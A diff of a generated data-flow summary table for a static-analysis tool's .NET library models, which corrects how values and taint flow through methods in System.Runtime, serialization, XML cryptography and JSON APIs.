System.Runtime.CompilerServices;AsyncTaskMethodBuilder;AwaitOnCompleted;(TAwaiter,TStateMachine);Argument[1];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncTaskMethodBuilder;AwaitUnsafeOnCompleted;(TAwaiter,TStateMachine);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncTaskMethodBuilder;AwaitUnsafeOnCompleted;(TAwaiter,TStateMachine);Argument[1];ReturnValue;value;dfc-generated | +| System.Runtime.CompilerServices;AsyncTaskMethodBuilder;AwaitOnCompleted;(TAwaiter,TStateMachine);Argument[1];Argument[this];taint;df-generated | +| System.Runtime.CompilerServices;AsyncTaskMethodBuilder;AwaitUnsafeOnCompleted;(TAwaiter,TStateMachine);Argument[1];Argument[this];taint;df-generated | | System.Runtime.CompilerServices;AsyncTaskMethodBuilder;SetResult;(TResult);Argument[0];Argument[this].SyntheticField[System.Runtime.CompilerServices.AsyncTaskMethodBuilder`1.m_task].Property[System.Threading.Tasks.Task`1.Result];value;dfc-generated | -| System.Runtime.CompilerServices;AsyncTaskMethodBuilder;Start;(TStateMachine);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.CompilerServices;AsyncTaskMethodBuilder;get_Task;();Argument[this].SyntheticField[System.Runtime.CompilerServices.AsyncTaskMethodBuilder`1.m_task];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncValueTaskMethodBuilder;AwaitOnCompleted;(TAwaiter,TStateMachine);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncValueTaskMethodBuilder;AwaitOnCompleted;(TAwaiter,TStateMachine);Argument[1];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncValueTaskMethodBuilder;AwaitUnsafeOnCompleted;(TAwaiter,TStateMachine);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncValueTaskMethodBuilder;AwaitUnsafeOnCompleted;(TAwaiter,TStateMachine);Argument[1];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncValueTaskMethodBuilder;Start;(TStateMachine);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncValueTaskMethodBuilder;AwaitOnCompleted;(TAwaiter,TStateMachine);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncValueTaskMethodBuilder;AwaitOnCompleted;(TAwaiter,TStateMachine);Argument[1];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncValueTaskMethodBuilder;AwaitUnsafeOnCompleted;(TAwaiter,TStateMachine);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncValueTaskMethodBuilder;AwaitUnsafeOnCompleted;(TAwaiter,TStateMachine);Argument[1];ReturnValue;value;dfc-generated | +| System.Runtime.CompilerServices;AsyncValueTaskMethodBuilder;AwaitOnCompleted;(TAwaiter,TStateMachine);Argument[1];Argument[this];taint;df-generated | +| System.Runtime.CompilerServices;AsyncValueTaskMethodBuilder;AwaitUnsafeOnCompleted;(TAwaiter,TStateMachine);Argument[1];Argument[this];taint;df-generated | +| System.Runtime.CompilerServices;AsyncValueTaskMethodBuilder;AwaitOnCompleted;(TAwaiter,TStateMachine);Argument[1];Argument[this];taint;df-generated | +| System.Runtime.CompilerServices;AsyncValueTaskMethodBuilder;AwaitUnsafeOnCompleted;(TAwaiter,TStateMachine);Argument[1];Argument[this];taint;df-generated | | System.Runtime.CompilerServices;AsyncValueTaskMethodBuilder;SetResult;(TResult);Argument[0];Argument[this];taint;df-generated | -| System.Runtime.CompilerServices;AsyncValueTaskMethodBuilder;Start;(TStateMachine);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.CompilerServices;AsyncValueTaskMethodBuilder;get_Task;();Argument[this];ReturnValue;taint;df-generated | -| System.Runtime.CompilerServices;AsyncVoidMethodBuilder;AwaitOnCompleted;(TAwaiter,TStateMachine);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncVoidMethodBuilder;AwaitOnCompleted;(TAwaiter,TStateMachine);Argument[1];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncVoidMethodBuilder;AwaitUnsafeOnCompleted;(TAwaiter,TStateMachine);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncVoidMethodBuilder;AwaitUnsafeOnCompleted;(TAwaiter,TStateMachine);Argument[1];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncVoidMethodBuilder;Start;(TStateMachine);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.CompilerServices;CallSite;get_Binder;();Argument[this];ReturnValue;taint;df-generated | | System.Runtime.CompilerServices;ConditionalWeakTable+CreateValueCallback;BeginInvoke;(TKey,System.AsyncCallback,System.Object);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System.Runtime.CompilerServices;ConditionalWeakTable;Clear;();Argument[this].WithoutElement;Argument[this];value;manual | @@ -12809,17 +12704,11 @@ | System.Runtime.CompilerServices;IRuntimeVariables;get_Item;(System.Int32);Argument[this];ReturnValue;taint;df-generated | | System.Runtime.CompilerServices;ITuple;get_Item;(System.Int32);Argument[this];ReturnValue;taint;df-generated | | System.Runtime.CompilerServices;NullableAttribute;NullableAttribute;(System.Byte[]);Argument[0];Argument[this].Field[System.Runtime.CompilerServices.NullableAttribute.NullableFlags];value;dfc-generated | -| System.Runtime.CompilerServices;PoolingAsyncValueTaskMethodBuilder;AwaitOnCompleted;(TAwaiter,TStateMachine);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;PoolingAsyncValueTaskMethodBuilder;AwaitOnCompleted;(TAwaiter,TStateMachine);Argument[1];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;PoolingAsyncValueTaskMethodBuilder;AwaitUnsafeOnCompleted;(TAwaiter,TStateMachine);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;PoolingAsyncValueTaskMethodBuilder;AwaitUnsafeOnCompleted;(TAwaiter,TStateMachine);Argument[1];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;PoolingAsyncValueTaskMethodBuilder;Start;(TStateMachine);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;PoolingAsyncValueTaskMethodBuilder;AwaitOnCompleted;(TAwaiter,TStateMachine);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;PoolingAsyncValueTaskMethodBuilder;AwaitOnCompleted;(TAwaiter,TStateMachine);Argument[1];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;PoolingAsyncValueTaskMethodBuilder;AwaitUnsafeOnCompleted;(TAwaiter,TStateMachine);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;PoolingAsyncValueTaskMethodBuilder;AwaitUnsafeOnCompleted;(TAwaiter,TStateMachine);Argument[1];ReturnValue;value;dfc-generated | +| System.Runtime.CompilerServices;PoolingAsyncValueTaskMethodBuilder;AwaitOnCompleted;(TAwaiter,TStateMachine);Argument[1];Argument[this];taint;df-generated | +| System.Runtime.CompilerServices;PoolingAsyncValueTaskMethodBuilder;AwaitUnsafeOnCompleted;(TAwaiter,TStateMachine);Argument[1];Argument[this];taint;df-generated | +| System.Runtime.CompilerServices;PoolingAsyncValueTaskMethodBuilder;AwaitOnCompleted;(TAwaiter,TStateMachine);Argument[1];Argument[this];taint;df-generated | +| System.Runtime.CompilerServices;PoolingAsyncValueTaskMethodBuilder;AwaitUnsafeOnCompleted;(TAwaiter,TStateMachine);Argument[1];Argument[this];taint;df-generated | | System.Runtime.CompilerServices;PoolingAsyncValueTaskMethodBuilder;SetResult;(TResult);Argument[0];Argument[this];taint;df-generated | -| System.Runtime.CompilerServices;PoolingAsyncValueTaskMethodBuilder;Start;(TStateMachine);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.CompilerServices;PoolingAsyncValueTaskMethodBuilder;get_Task;();Argument[this];ReturnValue;taint;df-generated | | System.Runtime.CompilerServices;ReadOnlyCollectionBuilder;ReadOnlyCollectionBuilder;(System.Collections.Generic.IEnumerable);Argument[0].Element;Argument[this];taint;df-generated | | System.Runtime.CompilerServices;RuntimeHelpers+CleanupCode;BeginInvoke;(System.Object,System.Boolean,System.AsyncCallback,System.Object);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | @@ -12841,15 +12730,6 @@ | System.Runtime.CompilerServices;TaskAwaiter;GetResult;();Argument[this].SyntheticField[m_task_task_awaiter].Property[System.Threading.Tasks.Task`1.Result];ReturnValue;value;manual | | System.Runtime.CompilerServices;TupleElementNamesAttribute;TupleElementNamesAttribute;(System.String[]);Argument[0];Argument[this].SyntheticField[System.Runtime.CompilerServices.TupleElementNamesAttribute._transformNames];value;dfc-generated | | System.Runtime.CompilerServices;TupleElementNamesAttribute;get_TransformNames;();Argument[this].SyntheticField[System.Runtime.CompilerServices.TupleElementNamesAttribute._transformNames];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;Unsafe;Add;(T,System.Int32);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;Unsafe;Add;(T,System.IntPtr);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;Unsafe;Add;(T,System.UIntPtr);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;Unsafe;AddByteOffset;(T,System.UIntPtr);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;Unsafe;Copy;(T,System.Void*);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;Unsafe;Subtract;(T,System.Int32);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;Unsafe;Subtract;(T,System.IntPtr);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;Unsafe;Subtract;(T,System.UIntPtr);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;Unsafe;SubtractByteOffset;(T,System.UIntPtr);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.CompilerServices;ValueTaskAwaiter;GetResult;();Argument[this];ReturnValue;taint;df-generated | | System.Runtime.ExceptionServices;ExceptionDispatchInfo;Capture;(System.Exception);Argument[0];ReturnValue.SyntheticField[System.Runtime.ExceptionServices.ExceptionDispatchInfo._exception];value;dfc-generated | | System.Runtime.ExceptionServices;ExceptionDispatchInfo;SetCurrentStackTrace;(System.Exception);Argument[0];ReturnValue;value;dfc-generated | @@ -12947,8 +12827,8 @@ | System.Runtime.InteropServices.Marshalling;SpanMarshaller+ManagedToUnmanagedIn;GetUnmanagedValuesDestination;();Argument[this];ReturnValue;taint;df-generated | | System.Runtime.InteropServices.Marshalling;SpanMarshaller;GetManagedValuesDestination;(System.Span);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.InteropServices.Marshalling;Utf8StringMarshaller+ManagedToUnmanagedIn;ToUnmanaged;();Argument[this];ReturnValue;taint;df-generated | -| System.Runtime.InteropServices.Marshalling;VirtualMethodTableInfo;Deconstruct;(System.Void*,System.Void**);Argument[this].Property[System.Runtime.InteropServices.Marshalling.VirtualMethodTableInfo.ThisPointer];ReturnValue;value;dfc-generated | -| System.Runtime.InteropServices.Marshalling;VirtualMethodTableInfo;Deconstruct;(System.Void*,System.Void**);Argument[this].Property[System.Runtime.InteropServices.Marshalling.VirtualMethodTableInfo.VirtualMethodTable];ReturnValue;value;dfc-generated | +| System.Runtime.InteropServices.Marshalling;VirtualMethodTableInfo;Deconstruct;(System.Void*,System.Void**);Argument[this].Property[System.Runtime.InteropServices.Marshalling.VirtualMethodTableInfo.ThisPointer];Argument[0];value;dfc-generated | +| System.Runtime.InteropServices.Marshalling;VirtualMethodTableInfo;Deconstruct;(System.Void*,System.Void**);Argument[this].Property[System.Runtime.InteropServices.Marshalling.VirtualMethodTableInfo.VirtualMethodTable];Argument[1];value;dfc-generated | | System.Runtime.InteropServices.Marshalling;VirtualMethodTableInfo;VirtualMethodTableInfo;(System.Void*,System.Void**);Argument[0];Argument[this].Property[System.Runtime.InteropServices.Marshalling.VirtualMethodTableInfo.ThisPointer];value;dfc-generated | | System.Runtime.InteropServices.Marshalling;VirtualMethodTableInfo;VirtualMethodTableInfo;(System.Void*,System.Void**);Argument[1];Argument[this].Property[System.Runtime.InteropServices.Marshalling.VirtualMethodTableInfo.VirtualMethodTable];value;dfc-generated | | System.Runtime.InteropServices.ObjectiveC;ObjectiveCMarshal+UnhandledExceptionPropagationHandler;BeginInvoke;(System.Exception,System.RuntimeMethodHandle,System.IntPtr,System.AsyncCallback,System.Object);Argument[3];Argument[3].Parameter[delegate-self];value;hq-generated | @@ -12978,23 +12858,21 @@ | System.Runtime.InteropServices;ManagedToNativeComInteropStubAttribute;ManagedToNativeComInteropStubAttribute;(System.Type,System.String);Argument[1];Argument[this].Property[System.Runtime.InteropServices.ManagedToNativeComInteropStubAttribute.MethodName];value;dfc-generated | | System.Runtime.InteropServices;Marshal;InitHandle;(System.Runtime.InteropServices.SafeHandle,System.IntPtr);Argument[1];Argument[0].Field[System.Runtime.InteropServices.SafeHandle.handle];value;dfc-generated | | System.Runtime.InteropServices;MemoryMarshal;CreateFromPinnedArray;(T[],System.Int32,System.Int32);Argument[0].Element;ReturnValue;taint;df-generated | -| System.Runtime.InteropServices;MemoryMarshal;CreateSpan;(T,System.Int32);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.InteropServices;MemoryMarshal;ToEnumerable;(System.ReadOnlyMemory);Argument[0].Property[System.ReadOnlyMemory`1.Span].Element;ReturnValue.Element;value;dfc-generated | -| System.Runtime.InteropServices;MemoryMarshal;TryGetMemoryManager;(System.ReadOnlyMemory,TManager);Argument[0];ReturnValue;taint;df-generated | -| System.Runtime.InteropServices;MemoryMarshal;TryGetMemoryManager;(System.ReadOnlyMemory,TManager,System.Int32,System.Int32);Argument[0];ReturnValue;taint;df-generated | -| System.Runtime.InteropServices;MemoryMarshal;TryGetString;(System.ReadOnlyMemory,System.String,System.Int32,System.Int32);Argument[0].SyntheticField[System.ReadOnlyMemory`1._object];ReturnValue;value;dfc-generated | +| System.Runtime.InteropServices;MemoryMarshal;TryGetMemoryManager;(System.ReadOnlyMemory,TManager);Argument[0];Argument[1];taint;df-generated | +| System.Runtime.InteropServices;MemoryMarshal;TryGetMemoryManager;(System.ReadOnlyMemory,TManager,System.Int32,System.Int32);Argument[0];Argument[1];taint;df-generated | +| System.Runtime.InteropServices;MemoryMarshal;TryGetString;(System.ReadOnlyMemory,System.String,System.Int32,System.Int32);Argument[0].SyntheticField[System.ReadOnlyMemory`1._object];Argument[1];value;dfc-generated | | System.Runtime.InteropServices;NFloat;ToString;(System.IFormatProvider);Argument[0];ReturnValue;taint;df-generated | | System.Runtime.InteropServices;NativeLibrary;SetDllImportResolver;(System.Reflection.Assembly,System.Runtime.InteropServices.DllImportResolver);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System.Runtime.InteropServices;OSPlatform;Create;(System.String);Argument[0];ReturnValue.SyntheticField[System.Runtime.InteropServices.OSPlatform.Name];value;dfc-generated | | System.Runtime.InteropServices;OSPlatform;ToString;();Argument[this].SyntheticField[System.Runtime.InteropServices.OSPlatform.Name];ReturnValue;value;dfc-generated | | System.Runtime.InteropServices;PosixSignalRegistration;Create;(System.Runtime.InteropServices.PosixSignal,System.Action);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | -| System.Runtime.InteropServices;SafeBuffer;AcquirePointer;(System.Byte*);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.InteropServices;SafeHandle;DangerousGetHandle;();Argument[this].Field[System.Runtime.InteropServices.SafeHandle.handle];ReturnValue;value;dfc-generated | | System.Runtime.InteropServices;SafeHandle;SafeHandle;(System.IntPtr,System.Boolean);Argument[0];Argument[this].Field[System.Runtime.InteropServices.SafeHandle.handle];value;dfc-generated | | System.Runtime.InteropServices;SafeHandle;SetHandle;(System.IntPtr);Argument[0];Argument[this].Field[System.Runtime.InteropServices.SafeHandle.handle];value;dfc-generated | -| System.Runtime.InteropServices;SequenceMarshal;TryGetReadOnlyMemory;(System.Buffers.ReadOnlySequence,System.ReadOnlyMemory);Argument[0].Property[System.Buffers.ReadOnlySequence`1.First];ReturnValue;value;dfc-generated | -| System.Runtime.InteropServices;SequenceMarshal;TryGetReadOnlySequenceSegment;(System.Buffers.ReadOnlySequence,System.Buffers.ReadOnlySequenceSegment,System.Int32,System.Buffers.ReadOnlySequenceSegment,System.Int32);Argument[0];ReturnValue;taint;df-generated | -| System.Runtime.InteropServices;SequenceMarshal;TryRead;(System.Buffers.SequenceReader,T);Argument[0];ReturnValue;value;dfc-generated | +| System.Runtime.InteropServices;SequenceMarshal;TryGetReadOnlyMemory;(System.Buffers.ReadOnlySequence,System.ReadOnlyMemory);Argument[0].Property[System.Buffers.ReadOnlySequence`1.First];Argument[1];value;dfc-generated | +| System.Runtime.InteropServices;SequenceMarshal;TryGetReadOnlySequenceSegment;(System.Buffers.ReadOnlySequence,System.Buffers.ReadOnlySequenceSegment,System.Int32,System.Buffers.ReadOnlySequenceSegment,System.Int32);Argument[0];Argument[1];taint;df-generated | +| System.Runtime.InteropServices;SequenceMarshal;TryGetReadOnlySequenceSegment;(System.Buffers.ReadOnlySequence,System.Buffers.ReadOnlySequenceSegment,System.Int32,System.Buffers.ReadOnlySequenceSegment,System.Int32);Argument[0];Argument[3];taint;df-generated | | System.Runtime.Intrinsics;Vector64;Abs;(System.Runtime.Intrinsics.Vector64);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.Intrinsics;Vector64;Ceiling;(System.Runtime.Intrinsics.Vector64);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.Intrinsics;Vector64;Ceiling;(System.Runtime.Intrinsics.Vector64);Argument[0];ReturnValue;value;dfc-generated | @@ -13005,7 +12883,6 @@ | System.Runtime.Intrinsics;Vector64;Round;(System.Runtime.Intrinsics.Vector64,System.MidpointRounding);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.Intrinsics;Vector64;Round;(System.Runtime.Intrinsics.Vector64);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.Intrinsics;Vector64;Round;(System.Runtime.Intrinsics.Vector64,System.MidpointRounding);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.Intrinsics;Vector64;StoreUnsafe;(System.Runtime.Intrinsics.Vector64,T);Argument[1];ReturnValue;value;dfc-generated | | System.Runtime.Intrinsics;Vector64;Truncate;(System.Runtime.Intrinsics.Vector64);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.Intrinsics;Vector64;Truncate;(System.Runtime.Intrinsics.Vector64);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.Intrinsics;Vector64;WithElement;(System.Runtime.Intrinsics.Vector64,System.Int32,T);Argument[0];ReturnValue;value;dfc-generated | @@ -13022,7 +12899,6 @@ | System.Runtime.Intrinsics;Vector128;Round;(System.Runtime.Intrinsics.Vector128,System.MidpointRounding);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.Intrinsics;Vector128;Round;(System.Runtime.Intrinsics.Vector128);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.Intrinsics;Vector128;Round;(System.Runtime.Intrinsics.Vector128,System.MidpointRounding);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.Intrinsics;Vector128;StoreUnsafe;(System.Runtime.Intrinsics.Vector128,T);Argument[1];ReturnValue;value;dfc-generated | | System.Runtime.Intrinsics;Vector128;Truncate;(System.Runtime.Intrinsics.Vector128);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.Intrinsics;Vector128;Truncate;(System.Runtime.Intrinsics.Vector128);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.Intrinsics;Vector128;WithElement;(System.Runtime.Intrinsics.Vector128,System.Int32,T);Argument[0];ReturnValue;value;dfc-generated | @@ -13041,7 +12917,6 @@ | System.Runtime.Intrinsics;Vector256;Round;(System.Runtime.Intrinsics.Vector256,System.MidpointRounding);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.Intrinsics;Vector256;Round;(System.Runtime.Intrinsics.Vector256);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.Intrinsics;Vector256;Round;(System.Runtime.Intrinsics.Vector256,System.MidpointRounding);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.Intrinsics;Vector256;StoreUnsafe;(System.Runtime.Intrinsics.Vector256,T);Argument[1];ReturnValue;value;dfc-generated | | System.Runtime.Intrinsics;Vector256;Truncate;(System.Runtime.Intrinsics.Vector256);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.Intrinsics;Vector256;Truncate;(System.Runtime.Intrinsics.Vector256);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.Intrinsics;Vector256;WithElement;(System.Runtime.Intrinsics.Vector256,System.Int32,T);Argument[0];ReturnValue;value;dfc-generated | @@ -13060,7 +12935,6 @@ | System.Runtime.Intrinsics;Vector512;Round;(System.Runtime.Intrinsics.Vector512,System.MidpointRounding);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.Intrinsics;Vector512;Round;(System.Runtime.Intrinsics.Vector512);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.Intrinsics;Vector512;Round;(System.Runtime.Intrinsics.Vector512,System.MidpointRounding);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.Intrinsics;Vector512;StoreUnsafe;(System.Runtime.Intrinsics.Vector512,T);Argument[1];ReturnValue;value;dfc-generated | | System.Runtime.Intrinsics;Vector512;Truncate;(System.Runtime.Intrinsics.Vector512);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.Intrinsics;Vector512;Truncate;(System.Runtime.Intrinsics.Vector512);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.Intrinsics;Vector512;WithElement;(System.Runtime.Intrinsics.Vector512,System.Int32,T);Argument[0];ReturnValue;value;dfc-generated | @@ -13083,7 +12957,9 @@ | System.Runtime.Loader;AssemblyLoadContext;remove_Unloading;(System.Action);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Runtime.Remoting;ObjectHandle;ObjectHandle;(System.Object);Argument[0];Argument[this].SyntheticField[System.Runtime.Remoting.ObjectHandle._wrappedObject];value;dfc-generated | | System.Runtime.Remoting;ObjectHandle;Unwrap;();Argument[this].SyntheticField[System.Runtime.Remoting.ObjectHandle._wrappedObject];ReturnValue;value;dfc-generated | -| System.Runtime.Serialization.DataContracts;DataContract;IsDictionaryLike;(System.String,System.String,System.String);Argument[this];ReturnValue;taint;df-generated | +| System.Runtime.Serialization.DataContracts;DataContract;IsDictionaryLike;(System.String,System.String,System.String);Argument[this];Argument[0];taint;df-generated | +| System.Runtime.Serialization.DataContracts;DataContract;IsDictionaryLike;(System.String,System.String,System.String);Argument[this];Argument[1];taint;df-generated | +| System.Runtime.Serialization.DataContracts;DataContract;IsDictionaryLike;(System.String,System.String,System.String);Argument[this];Argument[2];taint;df-generated | | System.Runtime.Serialization.DataContracts;DataContract;get_BaseContract;();Argument[this];ReturnValue;taint;df-generated | | System.Runtime.Serialization.DataContracts;DataContract;get_DataMembers;();Argument[this];ReturnValue;taint;df-generated | | System.Runtime.Serialization.DataContracts;DataContractSet;DataContractSet;(System.Runtime.Serialization.DataContracts.DataContractSet);Argument[0];Argument[this];taint;df-generated | @@ -13130,7 +13006,7 @@ | System.Runtime.Serialization;IFormatterConverter;ToString;(System.Object);Argument[0];ReturnValue;taint;dfc-generated | | System.Runtime.Serialization;IObjectReference;GetRealObject;(System.Runtime.Serialization.StreamingContext);Argument[this];ReturnValue;taint;df-generated | | System.Runtime.Serialization;ISerializable;GetObjectData;(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext);Argument[this];Argument[0];taint;df-generated | -| System.Runtime.Serialization;ISurrogateSelector;GetSurrogate;(System.Type,System.Runtime.Serialization.StreamingContext,System.Runtime.Serialization.ISurrogateSelector);Argument[this];ReturnValue;value;dfc-generated | +| System.Runtime.Serialization;ISurrogateSelector;GetSurrogate;(System.Type,System.Runtime.Serialization.StreamingContext,System.Runtime.Serialization.ISurrogateSelector);Argument[this];Argument[2];value;dfc-generated | | System.Runtime.Serialization;KnownTypeAttribute;KnownTypeAttribute;(System.String);Argument[0];Argument[this].Property[System.Runtime.Serialization.KnownTypeAttribute.MethodName];value;dfc-generated | | System.Runtime.Serialization;ObjectIDGenerator;GetId;(System.Object,System.Boolean);Argument[0];Argument[this];taint;df-generated | | System.Runtime.Serialization;ObjectManager;GetObject;(System.Int64);Argument[this];ReturnValue;taint;df-generated | @@ -13174,7 +13050,7 @@ | System.Runtime.Serialization;StreamingContext;get_Context;();Argument[this].SyntheticField[System.Runtime.Serialization.StreamingContext._additionalContext];ReturnValue;value;dfc-generated | | System.Runtime.Serialization;SurrogateSelector;ChainSelector;(System.Runtime.Serialization.ISurrogateSelector);Argument[0];Argument[this].SyntheticField[System.Runtime.Serialization.SurrogateSelector._nextSelector];value;dfc-generated | | System.Runtime.Serialization;SurrogateSelector;GetNextSelector;();Argument[this].SyntheticField[System.Runtime.Serialization.SurrogateSelector._nextSelector];ReturnValue;value;dfc-generated | -| System.Runtime.Serialization;SurrogateSelector;GetSurrogate;(System.Type,System.Runtime.Serialization.StreamingContext,System.Runtime.Serialization.ISurrogateSelector);Argument[this].SyntheticField[System.Runtime.Serialization.SurrogateSelector._nextSelector];ReturnValue;value;dfc-generated | +| System.Runtime.Serialization;SurrogateSelector;GetSurrogate;(System.Type,System.Runtime.Serialization.StreamingContext,System.Runtime.Serialization.ISurrogateSelector);Argument[this].SyntheticField[System.Runtime.Serialization.SurrogateSelector._nextSelector];Argument[2];value;dfc-generated | | System.Runtime.Serialization;XPathQueryGenerator;CreateFromDataContractSerializer;(System.Type,System.Reflection.MemberInfo[],System.Text.StringBuilder,System.Xml.XmlNamespaceManager);Argument[2];ReturnValue;taint;dfc-generated | | System.Runtime.Serialization;XmlSerializableServices;WriteNodes;(System.Xml.XmlWriter,System.Xml.XmlNode[]);Argument[1].Element;Argument[0];taint;df-generated | | System.Runtime.Serialization;XsdDataContractExporter;XsdDataContractExporter;(System.Xml.Schema.XmlSchemaSet);Argument[0];Argument[this].SyntheticField[System.Runtime.Serialization.XsdDataContractExporter._schemas];value;dfc-generated | @@ -13442,7 +13318,7 @@ | System.Security.Cryptography.Xml;SignedInfo;get_CanonicalizationMethodObject;();Argument[this];ReturnValue;taint;df-generated | | System.Security.Cryptography.Xml;SignedInfo;get_References;();Argument[this].SyntheticField[System.Security.Cryptography.Xml.SignedInfo._references];ReturnValue;value;dfc-generated | | System.Security.Cryptography.Xml;SignedXml;CheckSignature;(System.Security.Cryptography.KeyedHashAlgorithm);Argument[0];Argument[this];taint;df-generated | -| System.Security.Cryptography.Xml;SignedXml;CheckSignatureReturningKey;(System.Security.Cryptography.AsymmetricAlgorithm);Argument[this];ReturnValue;taint;df-generated | +| System.Security.Cryptography.Xml;SignedXml;CheckSignatureReturningKey;(System.Security.Cryptography.AsymmetricAlgorithm);Argument[this];Argument[0];taint;df-generated | | System.Security.Cryptography.Xml;SignedXml;ComputeSignature;(System.Security.Cryptography.KeyedHashAlgorithm);Argument[0];Argument[this];taint;df-generated | | System.Security.Cryptography.Xml;SignedXml;GetIdElement;(System.Xml.XmlDocument,System.String);Argument[0].Element;ReturnValue;taint;df-generated | | System.Security.Cryptography.Xml;SignedXml;GetPublicKey;();Argument[this];ReturnValue;taint;df-generated | @@ -13690,7 +13566,6 @@ | System.Text.Json.Nodes;JsonNode;AsValue;();Argument[this];ReturnValue;value;dfc-generated | | System.Text.Json.Nodes;JsonNode;DeepClone;();Argument[this];ReturnValue;taint;df-generated | | System.Text.Json.Nodes;JsonNode;GetValue;();Argument[this];ReturnValue;taint;df-generated | -| System.Text.Json.Nodes;JsonNode;Parse;(System.Text.Json.Utf8JsonReader,System.Nullable);Argument[0];ReturnValue;value;dfc-generated | | System.Text.Json.Nodes;JsonNode;ReplaceWith;(T);Argument[this];Argument[0];taint;df-generated | | System.Text.Json.Nodes;JsonNode;ToString;();Argument[this];ReturnValue;taint;df-generated | | System.Text.Json.Nodes;JsonNode;get_Options;();Argument[this];ReturnValue;taint;df-generated | @@ -13700,7 +13575,7 @@ | System.Text.Json.Nodes;JsonObject;SetAt;(System.Int32,System.String,System.Text.Json.Nodes.JsonNode);Argument[this];Argument[2];taint;df-generated | | System.Text.Json.Nodes;JsonObject;SetAt;(System.Int32,System.Text.Json.Nodes.JsonNode);Argument[this];Argument[1];taint;df-generated | | System.Text.Json.Nodes;JsonValue;Create;(T,System.Text.Json.Serialization.Metadata.JsonTypeInfo,System.Nullable);Argument[1];ReturnValue;taint;df-generated | -| System.Text.Json.Nodes;JsonValue;TryGetValue;(T);Argument[this];ReturnValue;taint;df-generated | +| System.Text.Json.Nodes;JsonValue;TryGetValue;(T);Argument[this];Argument[0];taint;df-generated | | System.Text.Json.Schema;JsonSchemaExporterOptions;set_TransformSchemaNode;(System.Func);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Text.Json.Serialization.Metadata;IJsonTypeInfoResolver;GetTypeInfo;(System.Type,System.Text.Json.JsonSerializerOptions);Argument[1];ReturnValue;taint;df-generated | | System.Text.Json.Serialization.Metadata;IJsonTypeInfoResolver;GetTypeInfo;(System.Type,System.Text.Json.JsonSerializerOptions);Argument[this];ReturnValue;taint;df-generated | @@ -13761,7 +13636,6 @@ | 